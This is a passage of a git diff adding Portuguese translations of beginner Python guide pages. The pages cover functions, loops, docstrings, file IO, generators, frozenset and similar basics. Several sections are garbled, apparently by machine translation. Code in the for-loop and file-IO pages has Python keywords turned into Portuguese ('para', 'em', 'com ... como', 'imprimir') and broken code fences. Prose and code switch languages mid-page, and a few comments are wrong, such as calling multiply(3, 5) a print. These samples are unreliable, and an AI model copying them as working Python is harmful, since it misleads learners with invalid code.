+A palavra-chave [`def`](https://docs.python.org/3/reference/compound_stmts.html#def) introduz uma definição de função. Deve ser seguido pelo nome da função e pela lista de parâmetros formais entre parênteses. As instruções que formam o corpo da função começam na próxima linha e devem ser recuadas.
+
+A primeira instrução do corpo da função pode ser opcionalmente uma string literal; este string literal é a string de documentação da função, ou [docstring](https://www.python.org/dev/peps/pep-0257/) (mais sobre docstrings podem ser encontradas na seção Documentation Strings). Algumas ferramentas usam docstrings para produzir automaticamente documentação on-line ou impressa ou para permitir que o usuário navegue interativamente pelo código. É uma boa prática incluir docstrings no código que você escreve, então tente fazer disso um hábito.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/difference-between-is-and-equal-equal-operators/index.md b/client/src/guide/portuguese/python/difference-between-is-and-equal-equal-operators/index.md
new file mode 100644
index 0000000000..351648b394
--- /dev/null
+++ b/client/src/guide/portuguese/python/difference-between-is-and-equal-equal-operators/index.md
@@ -0,0 +1,27 @@
+---
+title: Difference between Python 'is' and '==' operators
+localeTitle: Diferença entre os operadores Python 'is' e '=='
+---
+`is` é uma verificação da identidade do objeto - isto é, verificar se duas ou mais variáveis ​​estão se referindo ao mesmo objeto. Você não pode sobrecarregar `is` .
+
+`==` avalia como verdadeiro se o objeto referido pelas variáveis ​​for igual. Você pode sobrecarregar `==` através do operador `__eq__` .
+
+## Valor de retorno
+
+O valor de retorno para ambos seria `True` ou `False` .
+
+## Amostra de código
+```
+a = 2.3 
+ a is 2.3  # => False 
+ a == 2.3  # => True 
+ 
+ a = [234,123,321] 
+ b = [234,123,321] 
+ a == b  # => True 
+ a is b  # => False 
+ a = b 
+ a == b  # => True 
+ a is b  # => True, because if we change a, b changes too 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/docstring/index.md b/client/src/guide/portuguese/python/docstring/index.md
new file mode 100644
index 0000000000..1c62d74d98
--- /dev/null
+++ b/client/src/guide/portuguese/python/docstring/index.md
@@ -0,0 +1,67 @@
+---
+title: Docstring
+localeTitle: Docstring
+---
+## Docstring
+
+O docstring é uma forma de os desenvolvedores comunicarem o propósito, os parâmetros, os requisitos e o uso de uma função no Python para outros desenvolvedores. Permite a facilidade de manutenção e compreensão do código.
+
+Ao contrário dos comentários do código fonte convencional, o docstring deve descrever o que função faz, não como.
+
+Um exemplo semelhante ao Docstring é o @Javadoc em Java.
+
+O docstring é escrito como um comentário de várias linhas logo após o cabeçalho da declaração em Python. Existem 4 partes diferentes para uma docstring:
+
+1.  Tipo de entrada e tipo de saída
+    *   Entrada / saída pode ser `obj, list, bool, int, str, float`
+2.  Descrição da função
+    *   Descrição breve, mas completa do que sua função faz
+3.  Requisitos
+    *   Isso é lido por um humano, então não precisa ser código
+4.  Casos de teste (normalmente 2-3)
+
+O formato geral está listado abaixo.
+
+## Formato de Docstring
+
+```python
+def my_examplefunc(input_type1, input_type2): 
+  '''(input_type1, input_type2) -> output_type        # Your first line will be the input/output. Remember the space around the arrow! 
+  Here is a description of my example function        # Your second line will be the description 
+  REQ: type(input_type1) == list                      # Your next line (or lines) will be the requirements for the input of your function 
+  REQ: type(input_type2) == str 
+  >>> my_example_func([2, 3], "Hello World!")         # After the requirements come test cases 
+  [2, 3] "Hello World" 
+  >>> my_example_func([7, 2], "Another test case")    # Your first line of the test case is an example of the usage, prefaced by >>> 
+  [7, 2] "Another test case"                          # Your second line of the test case is the output 
+  >>> my_example_func([5, 6], "Last test case") 
+  [5, 6] "Last test case" 
+  ''' 
+  # Your code goes here, underneath the Docstring 
+```
+
+A documentação é melhor entendida com exemplos, portanto, dê uma olhada no exemplo abaixo do programa em que o programa produz True se um número for menor que 5, e False se um número for maior que 5.
+
+## Exemplo 1
+
+```python
+def is_less_than_five(some_number): 
+  '''(int) -> bool 
+  Returns True if the given number is less than 5, and False is the given number is greater than 5. 
+  REQ: some_number != 5 
+  >>> is_less_than_five(4) 
+  True 
+  >>> is_less_than_five(6) 
+  False 
+  >>> is_less_than_five(100000) 
+  False 
+  ''' 
+  # Your code goes here 
+```
+
+### Alguns links úteis:
+
+Numpy e Google Docstrings são duas abordagens comumente usadas:
+
+*   Google: http://sphinxcontrib-napoleon.readthedocs.io/en/latest/example\_google.html
+*   Numpy: http://sphinxcontrib-napoleon.readthedocs.io/en/latest/example\_numpy.html Além disso, consulte alguns comentários antigos do PEP: https://www.python.org/dev/peps/pep-0257/
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/escape-sequences/index.md b/client/src/guide/portuguese/python/escape-sequences/index.md
new file mode 100644
index 0000000000..9f04155429
--- /dev/null
+++ b/client/src/guide/portuguese/python/escape-sequences/index.md
@@ -0,0 +1,36 @@
+---
+title: Python Escape Sequences
+localeTitle: Seqüências de Escape Python
+---
+Uma lista de seqüências de escape pode ser encontrada [aqui](https://docs.python.org/3/reference/lexical_analysis.html#strings)
+
+As seqüências de escape permitem incluir caracteres especiais em seqüências de caracteres.
+```
+>>> print('Single quote strings can have \'single\' quotes if they are escaped') 
+ "Single quote strings can have 'single' quotes if they are escaped" 
+ >>> print("Double quote strings can have \"double\" quotes if they are escaped") 
+ 'Double quote strings can have "double" quotes if they are escaped' 
+ >>> print("Multiline strings\ncan be created\nusing escape sequences.") 
+ Multiline strings 
+ can be created 
+ using escape sequences. 
+ >>> print("Backslashes \\ need to be escaped.") 
+ Backslashes \ need to be escaped. 
+```
+
+Uma string _raw_ pode ser usada prefixando a string com `r` ou `R` que permite que barras invertidas sejam incluídas sem a necessidade de escapar delas.
+```
+>>> print(r"Backslashes \ don't need to be escaped in raw strings.") 
+ Backslashes \ don't need to be escaped in raw strings. 
+ >>> print(r"An odd number of backslashes at the end of a raw string will cause an error\") 
+  File "<stdin>", line 1 
+    print(r"An odd number of backslashes at the end of a raw string will cause an error\") 
+                                                                                         ^ 
+ SyntaxError: EOL while scanning string literal. 
+```
+
+#Alguns exemplos de seqüências de escape. Sequência de fuga  
+\\ Prints Backslash  
+\`Impressões simples-citação  
+\\ "Imprime aspas duplas  
+\\ um sino ASCII faz soar a campainha sons de alerta (ex. xterm) \\ b ASCII backspace (BS) remove o caractere anterior \\ n Adiciona nova linha.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/exception-and-error-handling/index.md b/client/src/guide/portuguese/python/exception-and-error-handling/index.md
new file mode 100644
index 0000000000..b49c685522
--- /dev/null
+++ b/client/src/guide/portuguese/python/exception-and-error-handling/index.md
@@ -0,0 +1,32 @@
+---
+title: Exceptions and Errors Handling
+localeTitle: Exceções e erros no manuseio
+---
+## Exceções e erros no manuseio
+
+Ao criar um programa, podemos cometer erros que terminam com erros e os piores programas que deixamos de executar, seria ainda mais irritante se não pudéssemos encontrar erros no código que fizemos ou o que estava errado. Em palavras simples, os erros são algo que os programadores evitam ao criar um programa. Para resolver este problema em python podemos usar `try` e `except`
+
+Exemplo:
+
+```shell
+>>> try: 
+ >>> . . . print "this is not a string "+1 
+ >>> except: 
+ >>> . . . print "error" 
+ error 
+```
+
+e se você deseja obter mensagens de erro com mais detalhes do seu código, você pode adicionar argumentos, `except Exception as err`
+
+```shell
+>>> try: 
+ >>> . . . print "this is not a string "+1 
+ >>> except Exception as err: 
+ >>> . . . print "error:\n"+str(err) 
+ error: 
+ cannot concatenate 'str' and 'int' objects 
+```
+
+Mais Informações:
+
+[Documentação de](https://docs.python.org/2/tutorial/errors.html) Erros e Exceções.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/files-and-io/index.md b/client/src/guide/portuguese/python/files-and-io/index.md
new file mode 100644
index 0000000000..6b888ef6cc
--- /dev/null
+++ b/client/src/guide/portuguese/python/files-and-io/index.md
@@ -0,0 +1,115 @@
+---
+title: Files and IO
+localeTitle: Arquivos e IO
+---
+## Arquivos e IO
+
+Arquivo é um local nomeado no disco para armazenar informações relacionadas. Ele é usado para armazenar permanentemente dados em memória não volátil (por exemplo, disco rígido). Como a memória de acesso aleatório (RAM) é volátil, que perde seus dados quando o computador é desligado, usamos arquivos para uso futuro dos dados.
+
+Quando queremos ler ou escrever em um arquivo, precisamos abri-lo primeiro. Quando terminamos, ele precisa ser fechado, para que os recursos vinculados ao arquivo sejam liberados.
+
+Portanto, no Python, uma operação de arquivo ocorre na seguinte ordem: 1) Abra um arquivo 2) Leia ou escreva (execute a operação) 3) Feche o arquivo
+
+O Python possui várias formas de operações de entrada e saída. Algumas das operações de saída podem ser a impressão de um texto, logs do console e até a saída de um arquivo de texto ou planilha.
+
+### Saída para tela
+
+O Python fornece a maneira mais simples de produzir saída para a tela.
+
+```python
+print "Python is a powerful language.","It is easy to learn." 
+```
+
+Saída:
+```
+Python is a powerful language.It is easy to learn. 
+```
+
+### Entrada do usuário
+
+Existem duas maneiras de receber informações de um usuário.
+
+raw\_input (\[prompt\])
+
+Usado para ler uma linha da entrada padrão e retorna como uma string
+
+```python
+str = raw_input("Enter your name: ") 
+ print "Welcome ", str 
+```
+
+Saída:
+```
+Enter your name: John Doe 
+ Welcome John Doe 
+```
+
+entrada (prompt)
+
+Funcionalidade semelhante a raw\_input (), mas assume que a entrada é uma expressão válida do Python
+
+```python
+str = input("Enter input: ") 
+ print "Input: ", str 
+```
+
+Saída:
+```
+Enter input: [x*5 for x in range(2,10,2)] 
+ Input: [10,20,30,40] 
+```
+
+### Interagindo com arquivos em Python
+
+Usando o Python, os arquivos podem ser facilmente abertos, lidos, escritos e fechados. Com as funções disponíveis:
+
+1.  `open()`
+2.  `read()`
+3.  `write()`
+4.  `close()`
+
+Exemplo:
+
+```python
+file1 = open("foo.txt", "r+")     # Opens the file with read permission. 
+ file1.write("Python is a powerful language.It is easy to learn.")     # Writes data into the file. 
+ data = file1.read(15)     # Reads first 15 characters in the file. 
+ print "First 15 characters are:\n", data     # Prints output 
+ file1.close()     # Closes the opened file. 
+```
+
+Saída:
+```
+First 15 characters are: 
+ Python is a pow 
+```
+
+#### Abrindo Arquivos
+
+O método python open () pode ser usado para retornar um objeto de arquivo. É mais comumente usado com dois argumentos, que são o nome do arquivo e o modo de acesso. O modo de acesso é usado para descrever a maneira como o arquivo é acessado ou usado.
+
+Os modos mais usados ​​são 'w', que é para gravar no arquivo e 'r', que é usado para ler o arquivo, enquanto 'r +' é usado para ler e gravar o arquivo. 'a' é o modo usado para anexar texto ao arquivo. O argumento mode também é opcional e será assumido como 'r' se for omitido.
+
+Um arquivo deve ser fechado após a operação de entrada e saída ter sido concluída para liberar todos os recursos.
+
+Exemplo de código para abrir um arquivo de texto:
+
+\`\` \`python file = open ('hello\_world.txt', 'w') file.write ('Hello World!') file.close ()
+```
+##### Using with 
+ An alternative to using the `open()` function in standalone is to make use of the `with` statement to open a file. This is considered best practice as it allows the Python framework to manage the context of opening the file, and will autmoatically perform any required resource cleanup. 
+ 
+ This is adventageous in the fact that it takes the onus off the programmer to close every file that is opened, and that the file will still be closed even if an exception was encountered during an IO operation. 
+ 
+ When using the `with` statement is important to note that access to the file will only available within the scope of the `with` block. 
+ 
+ To open a file using the `with` statement the `with` keyword is entered, followed by the call to `open(file)`. Following this the variable used as a handle to the open file is declared after the `as` keyword. Once the programs execution returns from this block, the file will be closed automatically. 
+ 
+ Sample code to open a text file using the `with` statement: 
+```
+
+com open ('hello\_world.txt', 'w') como f: f.write ('Hello World!') \`\` \`
+
+#### Mais Informações:
+
+[Documentação Python - IO](https://docs.python.org/2/tutorial/inputoutput.html) [Automatize o material chato](https://automatetheboringstuff.com/chapter8/) [Tutoriais Point - Python IO](https://www.tutorialspoint.com/python/python_files_io.htm) [8 PEP 343: A declaração 'com'](https://docs.python.org/2.5/whatsnew/pep-343.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/for-loop-statements/index.md b/client/src/guide/portuguese/python/for-loop-statements/index.md
new file mode 100644
index 0000000000..7ac2d7fdfc
--- /dev/null
+++ b/client/src/guide/portuguese/python/for-loop-statements/index.md
@@ -0,0 +1,184 @@
+---
+title: For Loop Statements
+localeTitle: For Loop Statements
+---
+## For Loop Statements
+
+O Python utiliza um loop for para iterar uma lista de elementos. Ao contrário de C ou Java, que usam o loop for para alterar um valor em etapas e acessar algo como um array usando esse valor.
+
+Loops for iteram sobre estruturas de dados baseadas em coleções, como listas, tuplas e dicionários.
+
+A sintaxe básica é:
+
+```python
+for value in list_of_values: 
+  # use value inside this block 
+```
+
+Em geral, você pode usar qualquer coisa como o valor do iterador, onde as entradas do iterável podem ser atribuídas. Por exemplo, você pode descompactar tuplas de uma lista de tuplas:
+
+```python
+list_of_tuples = [(1,2), (3,4)] 
+ 
+ for a, b in list_of_tuples: 
+  print("a:", a, "b:", b) 
+```
+
+Por outro lado, você pode fazer um loop sobre qualquer coisa que seja iterável. Você pode chamar uma função ou usar um literal de lista.
+
+```python
+for person in load_persons(): 
+  print("The name is:", person.name) 
+```
+
+```python
+for character in ["P", "y", "t", "h", "o", "n"]: 
+  print("Give me a '{}'!".format(character)) 
+```
+
+Algumas formas em que For loops são usadas:
+
+**Iterar sobre a função range ()**
+
+```python
+for i in range(10): 
+    print(i) 
+```
+
+Em vez de ser uma função, o intervalo é, na verdade, um tipo de sequência imutável. A saída conterá resultados do limite inferior, ou seja, 0 para o limite superior, ou seja, 10, mas excluindo 10. Por padrão, o limite inferior ou o índice inicial é definido como zero. Saída:
+```
+> 
+ 0 
+ 1 
+ 2 
+ 3 
+ 4 
+ 5 
+ 6 
+ 7 
+ 8 
+ 9 
+ > 
+```
+
+Além disso, pode-se especificar o limite inferior da sequência e até mesmo o passo da sequência, adicionando um segundo e um terceiro parâmetro.
+
+```python
+for i in range(4,10,2): #From 4 to 9 using a step of two 
+    print(i) 
+```
+
+Saída:
+```
+> 
+ 4 
+ 6 
+ 8 
+ > 
+```
+
+**função xrange ()**
+
+Na maior parte, xrange e range são exatamente os mesmos em termos de funcionalidade. Ambos fornecem uma maneira de gerar uma lista de números inteiros para você usar, como quiser. A única diferença é que o intervalo retorna um objeto de lista do Python e xrange retorna um objeto xrange. Isso significa que o xrange na verdade não gera uma lista estática em tempo de execução como o intervalo. Cria os valores conforme você precisa deles com uma técnica especial chamada rendimento. Essa técnica é usada com um tipo de objeto conhecido como geradores.
+
+Mais uma coisa para adicionar. No Python 3.x, a função xrange não existe mais. A função range agora faz o que o xrange faz no Python 2.x
+
+**Iterar sobre valores em uma lista ou tupla**
+
+```python
+A = ["hello", 1, 65, "thank you", [2, 3]] 
+ for value in A: 
+    print(value) 
+```
+
+Saída:
+```
+> 
+ hello 
+ 1 
+ 65 
+ thank you 
+ [2, 3] 
+ > 
+```
+
+**Iterar as chaves em um dicionário (também conhecido como hashmap)**
+
+```python
+fruits_to_colors = {"apple": "#ff0000", 
+                    "lemon": "#ffff00", 
+                    "orange": "#ffa500"} 
+ 
+ for key in fruits_to_colors: 
+    print(key, fruits_to_colors[key]) 
+```
+
+Saída:
+```
+> 
+ apple #ff0000 
+ lemon #ffff00 
+ orange #ffa500 
+ > 
+```
+
+**Iterar duas listas do mesmo tamanho em um único loop com a função zip ()**
+
+\`\` \`python A = \["a", "b", "c"\] B = \["a", "d", "e"\]
+
+para a, b em zip (A, B): imprimir a, b, a == b
+```
+Output: 
+```
+
+\> aa verdadeiro bd False ce False >
+```
+**Iterate over a list and get the corresponding index with the enumerate() function** 
+```
+
+python A = \["this", "is", "alguma coisa", "divertido"\]
+
+para index, word in enumerate (A): imprimir (índice, palavra)
+```
+Output: 
+```
+
+\> 0 isto 1 é 2 algo 3 diversão >
+```
+A common use case is iterating over a dictionary: 
+```
+
+python para nome, phonenumber em contacts.items (): print (nome, "pode ​​ser acessado em", phonenumber)
+```
+If you absolutely need to access the current index of your iteration, do **NOT** use `range(len(iterable))`! This is an extremely bad practice and will get you plenty of chuckles from senior Python developers. Use the built in function `enumerate()` instead: 
+```
+
+python para o índice, item em enumerate (shopping\_basket): print ("Item", index, "é um", item)
+```
+**for/else statements** 
+ Pyhton permits you to use else with for loops, the else case is executed when none of the conditions with in the loop body was satisfied. To use the else we have to make use of `break` statement so that we can break out of the loop on a satsfied condition.If we do not break out then the else part will be executed. 
+```
+
+python _dias da_ semana _\= \['segunda-feira', 'terça-feira', 'quarta-feira', 'quinta-feira', 'sexta-feira'\] hoje = 'sábado' por dia em_ dias da _semana_ : se dia = = hoje: print ('hoje é um dia da semana') pausa outro: print ('hoje não é um dia da semana')
+```
+In the above case the output will be `today is not a week day` since the break within the loop will never be executed. 
+ 
+ **Iterate over a list using inline loop function** 
+ 
+ We could also iterate inline using python, for example if we need to uppercase all the words in a list from a list we could simply do the following: 
+```
+
+python A = \["this", "is", "awesome", "shinning", "star"\]
+
+UPPERCASE = \[word.upper () para palavra em A\] imprimir (MAIÚSCULAS)
+```
+Output: 
+```
+
+\> \['ISTO', 'IS', 'IMPRESSIONANTE', 'BRILHO', 'ESTRELA'\] > \`\` \`
+
+#### Mais Informações:
+
+*   [Documentação do Python2 for loop](https://docs.python.org/2.7/tutorial/controlflow.html#for-statements)
+    
+*   [Documentação do Python3 for loop](https://docs.python.org/3/tutorial/controlflow.html#for-statements)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/from-x-import-y/index.md b/client/src/guide/portuguese/python/from-x-import-y/index.md
new file mode 100644
index 0000000000..411ff1eb23
--- /dev/null
+++ b/client/src/guide/portuguese/python/from-x-import-y/index.md
@@ -0,0 +1,35 @@
+---
+title: Python from X Import Y
+localeTitle: Python do X Import Y
+---
+Se você leu o wiki de `import statements` , você teria me visto usar essa declaração em um dos exemplos. Hoje, vamos tentar entender o que ele faz
+
+Então, pegando o mesmo exemplo:
+```
+>>> from math import ceil, sqrt 
+ >>> # here it would be 
+ >>> sqrt(36) 
+ <<< 6 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CS5t/1)
+
+Ou podemos usar isso:
+```
+>>> import math 
+ >>> # here it would be 
+ >>> math.sqrt(36) 
+ <<< 6 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CS5u)
+
+Então nosso código seria parecido com `math.sqrt(x)` invés de `sqrt(x)` . Isso acontece porque quando usamos `import x` , um namespace `x` é criado para evitar conflitos de nome. Você tem que acessar todos os objetos do módulo como `x.<name>` . Mas quando usamos `from x import y` concordamos em adicionar `y` ao namespace global principal. Então, ao usar isso, temos que ter certeza de que não temos um objeto com o mesmo nome em nosso programa.
+
+> **Nunca use `from x import y` se já existir um objeto chamado `y`**
+
+Por exemplo, no módulo `os` há um método `open` . Mas nós até temos uma função `open` chamada `open` . Então, aqui devemos evitar o uso `from os import open` .
+
+Podemos até usar o `form x import *` , isso importaria todos os métodos, classes desse módulo para o namespace global do programa. Esta é uma prática de programação ruim. Por favor, evite isso.
+
+Em geral, você deve evitar `from x import y` simplesmente por causa dos problemas que pode causar em programas de grande escala. Por exemplo, você nunca sabe se um colega programador pode querer fazer uma nova função que seja o nome de uma das funções existentes. Você também não sabe se o Python alterará a biblioteca da qual você está importando as funções. Embora esses problemas não existam com tanta frequência em projetos solo, como foi dito antes, é uma prática ruim de programação e deve ser evitada.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/frozenset/index.md b/client/src/guide/portuguese/python/frozenset/index.md
new file mode 100644
index 0000000000..6d27225ea2
--- /dev/null
+++ b/client/src/guide/portuguese/python/frozenset/index.md
@@ -0,0 +1,37 @@
+---
+title: Python Frozenset
+localeTitle: Python Frozenset
+---
+**`frozenset` informação básica** O tipo `frozenset` é um tipo de conjunto embutido que é imutável e hashable - seu conteúdo não pode ser alterado depois de criado; no entanto, ele pode ser usado como uma chave de dicionário ou como um elemento de outro conjunto. Frozensets são como conjuntos, exceto que eles não podem ser alterados, ou seja, são imutáveis.
+```
+>>> cities = frozenset(["Frankfurt", "Basel", "Freiburg"]) 
+ >>> cities.add("Strasbourg") 
+ Traceback (most recent call last): 
+    File "<stdin>", line 1, in <module> 
+ AttributeError: 'frozenset' object has no attribute 'add' 
+ >>> 
+```
+
+construtor `frozenset` : `frozenset([iterable])` O iterável contém elementos para inicializar o frozenset com. O iterável pode ser definido, dicionário, tupla, etc. Se nenhum parâmetro for passado, o método `frozenset()` retornará um frozenset vazio.
+
+**Exemplos**
+```
+>>> vowels = ('a', 'e', 'i', 'o', 'u') 
+ >>> fSet = frozenset(vowels) 
+ >>> print("The frozen set is: ", fSet) 
+ The frozen set is: frozenset({'i', 'e', 'a', 'u', 'o'}) 
+ >>> print("The empty frozen set is: ", frozenset()) 
+ The empty frozen set is: frozenset() 
+ >>> 
+```
+
+**Outro exemplo**
+```
+>>> person = {"name": "John", "age": 23, "sex": "male"} 
+ >>> fSet = frozenset(person) 
+ >>> print("The frozen set is: ", fSet) 
+ The frozen set is: frozenset({'sex', 'name', 'age'}) 
+ >>> 
+```
+
+**informação adicional** [Frozenset Python ()](https://www.programiz.com/python-programming/methods/built-in/frozenset) [Definir tipos - set, frozenset](https://docs.python.org/2.4/lib/types-set.html) [Tutorial Python: Conjuntos e Conjuntos Congelados](https://www.python-course.eu/sets_frozensets.php)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/functions/index.md b/client/src/guide/portuguese/python/functions/index.md
new file mode 100644
index 0000000000..8bb28bb4a8
--- /dev/null
+++ b/client/src/guide/portuguese/python/functions/index.md
@@ -0,0 +1,139 @@
+---
+title: Functions
+localeTitle: Funções
+---
+## Funções
+
+Uma função permite que você defina um bloco de código reutilizável que pode ser executado muitas vezes em seu programa.
+
+As funções permitem criar soluções mais modulares e [DRY](https://en.wikipedia.org/wiki/Don%27t_repeat_yourself) para problemas complexos.
+
+Embora o Python já forneça muitas funções internas, como `print()` e `len()` , você também pode definir suas próprias funções para usar em seus projetos.
+
+Uma das grandes vantagens de usar funções em seu código é que ele reduz o número geral de linhas de código em seu projeto.
+
+### Sintaxe
+
+No Python, uma definição de função possui os seguintes recursos:
+
+1.  A palavra-chave `def`
+2.  um nome de função
+3.  parantesia '()' e dentro dos parâmetros de entrada da parantesia, embora os parâmetros de entrada sejam opcionais.
+4.  um cólon ':'
+5.  algum bloco de código para executar
+6.  uma declaração de retorno (opcional)
+
+```python
+# a function with no parameters or returned values 
+ def sayHello(): 
+  print("Hello!") 
+ 
+ sayHello()  # calls the function, 'Hello!' is printed to the console 
+ 
+ # a function with a parameter 
+ def helloWithName(name): 
+  print("Hello " + name + "!") 
+ 
+ helloWithName("Ada")  # calls the function, 'Hello Ada!' is printed to the console 
+ 
+ # a function with multiple parameters with a return statement 
+ def multiply(val1, val2): 
+  return val1 * val2 
+ 
+ multiply(3, 5)  # prints 15 to the console 
+```
+
+Funções são blocos de código que podem ser reutilizados simplesmente chamando a função. Isso permite a reutilização de código simples e elegante sem reescrever explicitamente seções de código. Isso torna o código mais legível, facilita a depuração e limita os erros de digitação.
+
+Funções em Python são criadas usando a palavra-chave `def` , seguida por um nome de função e parâmetros de função dentro de parênteses.
+
+Uma função sempre retorna um valor. A palavra-chave `return` é usada pela função para retornar um valor, se você não quiser retornar nenhum valor, o valor padrão `None` será retornado.
+
+O nome da função é usado para chamar a função, passando os parâmetros necessários dentro de parênteses.
+
+```python
+# this is a basic sum function 
+ def sum(a, b): 
+  return a + b 
+ 
+ result = sum(1, 2) 
+ # result = 3 
+```
+
+Você pode definir valores padrão para os parâmetros, assim o Python irá interpretar que o valor desse parâmetro é o padrão se nenhum for dado.
+
+```python
+def sum(a, b=3): 
+  return a + b 
+ 
+ result = sum(1) 
+ # result = 4 
+```
+
+Você pode passar os parâmetros na ordem desejada, usando o nome do parâmetro.
+
+```python
+result = sum(b=2, a=2) 
+ # result = 4 
+```
+
+No entanto, não é possível passar um argumento de palavra-chave antes de um argumento de não-palavra-chave
+
+```Python
+result = sum(3, b=2) 
+ #result = 5 
+ result2 = sum(b=2, 3) 
+ #Will raise SyntaxError 
+```
+
+As funções também são Objetos, então você pode atribuí-las a uma variável e usar essa variável como uma função.
+
+```python
+s = sum 
+ result = s(1, 2) 
+ # result = 3 
+```
+
+### Notas
+
+*   Se uma definição de função incluir parâmetros, você deverá fornecer o mesmo número de parâmetros quando chamar a função.
+    
+    ```python
+    print(multiply(3))  # TypeError: multiply() takes exactly 2 arguments (0 given) 
+     
+     print(multiply('a', 5))  # 'aaaaa' printed to the console 
+     
+     print(multiply('a', 'b'))  # TypeError: Python can't multiply two strings 
+    
+    ```
+    
+*   O bloco de código que a função executará inclui todas as instruções recuadas dentro da função.
+    
+    ```python
+    def myFunc(): 
+     print('this will print') 
+     print('so will this') 
+     
+     x = 7 
+     # the assignment of x is not a part of the function since it is not indented 
+    
+    ```
+    
+*   Variáveis ​​definidas dentro de uma função só existem dentro do escopo dessa função.
+    
+    ```python
+    def double(num): 
+     x = num * 2 
+     return x 
+     
+     print(x)  # error - x is not defined 
+     print(double(4))  # prints 8 
+    
+    ```
+    
+    \-Python interpreta o bloco de função somente quando a função é chamada e não quando a função é definida. Assim, mesmo que o bloco de definição de função contenha algum tipo de erro, o interpretar de python mostrará isso apenas quando a função for chamada.
+    
+
+### Mais Informações:
+
+*   [Python 3 Docs: definindo funções](https://docs.python.org/3/tutorial/controlflow.html#defining-functions)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/generators/index.md b/client/src/guide/portuguese/python/generators/index.md
new file mode 100644
index 0000000000..7c1e327f23
--- /dev/null
+++ b/client/src/guide/portuguese/python/generators/index.md
@@ -0,0 +1,60 @@
+---
+title: Generators
+localeTitle: Geradores
+---
+## Geradores
+
+Geradores são um tipo especial de função que permite retornar valores sem finalizar uma função. Isso é feito usando a palavra-chave `yield` . Semelhante ao `return` , a expressão de `yield` retornará um valor para o chamador. A principal diferença entre os dois é que o `yield` suspenderá a função, permitindo que mais valores sejam retornados no futuro.
+
+Os geradores são iteráveis ​​para que possam ser usados ​​de forma limpa com loops forícios ou qualquer outra coisa que seja iterada.
+
+```python
+def my_generator(): 
+    yield 'hello' 
+    yield 'world' 
+    yield '!' 
+ 
+ for item in my_generator(): 
+    print(item) 
+ 
+ # output: 
+ # hello 
+ # world 
+ # ! 
+```
+
+Como outros iteradores, os geradores podem ser passados ​​para a `next` função para recuperar o próximo item. Quando um gerador não tem mais valores para gerar, um erro `StopIteration` é gerado.
+
+```python
+g = my_generator() 
+ print(next(g)) 
+ # 'hello' 
+ print(next(g)) 
+ # 'world' 
+ print(next(g)) 
+ # '!' 
+ print(next(g)) 
+ # Traceback (most recent call last): 
+ #   File "<stdin>", line 1, in <module> 
+ # StopIteration 
+```
+
+Os geradores são particularmente úteis quando você precisa criar um grande conjunto de valores, mas não precisa mantê-los todos na memória ao mesmo tempo. Por exemplo, se você precisar imprimir o primeiro milhão de números de fibonacci, você normalmente retornaria uma lista de um milhão de valores e iteraria na lista para imprimir cada valor. No entanto, com um gerador, você pode retornar um valor de cada vez:
+
+```python
+def fib(n): 
+    a = 1 
+    b = 1 
+    for i in range(n): 
+        yield a 
+        a, b = b, a + b 
+ 
+ for x in fib(1000000): 
+    print(x) 
+```
+
+### Mais Informações
+
+*   [PEP 255](https://www.python.org/dev/peps/pep-0255/)
+*   [Wiki Python](https://wiki.python.org/moin/Generators)
+*   [Documentação da declaração de rendimento](https://docs.python.org/2/reference/simple_stmts.html#yield)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/hex-functions/index.md b/client/src/guide/portuguese/python/hex-functions/index.md
new file mode 100644
index 0000000000..59df262112
--- /dev/null
+++ b/client/src/guide/portuguese/python/hex-functions/index.md
@@ -0,0 +1,24 @@
+---
+title: Python Hex Function
+localeTitle: Função hexadecimal em Python
+---
+`hex(x)` é uma função embutida no Python 3 para converter um número inteiro em uma string [hexadecimal](https://www.mathsisfun.com/hexadecimals.html) minúscula prefixada com “0x”.
+
+## Argumento
+
+Essa função recebe um argumento, `x` , que deve ser do tipo inteiro.
+
+## Retorna
+
+Essa função retorna uma seqüência hexadecimal minúscula prefixada com "0x".
+
+## Exemplo
+```
+print(hex(16))    # prints  0x10 
+ print(hex(-298))  # prints -0x12a 
+ print(hex(543))   # prints  0x21f 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CV0S)
+
+[Documentação Oficial](https://docs.python.org/3/library/functions.html#hex)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/how-to-convert-strings-into-integers-in-python/index.md b/client/src/guide/portuguese/python/how-to-convert-strings-into-integers-in-python/index.md
new file mode 100644
index 0000000000..23bf4e9246
--- /dev/null
+++ b/client/src/guide/portuguese/python/how-to-convert-strings-into-integers-in-python/index.md
@@ -0,0 +1,79 @@
+---
+title: How to Convert Strings into Integers in Python
+localeTitle: Como converter seqüências de caracteres em números inteiros em Python
+---
+## Como converter seqüências de caracteres em números inteiros em Python
+
+Assim como o built-in `str()` , o Python também oferece um prático built-in que leva um objeto de string como um argumento e retorna o objeto inteiro correspondente.
+
+#### Exemplo de uso:
+
+```py
+# Here age is a string object 
+ age = "18" 
+ print(age) 
+ # Converting string to integer 
+ int_age = int(age) 
+ print(int_age) 
+```
+
+Saída
+
+```py
+18 
+ 18 
+```
+
+Aqui, embora a saída seja visualmente semelhante, você deve ter em mente que a primeira linha imprime um objeto de string enquanto a linha ao lado dele imprime um objeto inteiro que é ilustrado no próximo exemplo:
+
+```py
+age = "18" 
+ print(age+2) 
+```
+
+Saída:
+
+```py
+Traceback (most recent call last): 
+  File "<stdin>", line 1, in <module> 
+ TypeError: cannot concatenate 'str' and 'int' objects 
+```
+
+`The error should make it clear to you that you need to convert the` objeto age para um número inteiro antes de adicionar algo a ele.
+
+```py
+age = "18" 
+ age_int = int(age) 
+ print(age_int+2) 
+```
+
+Saída:
+
+```py
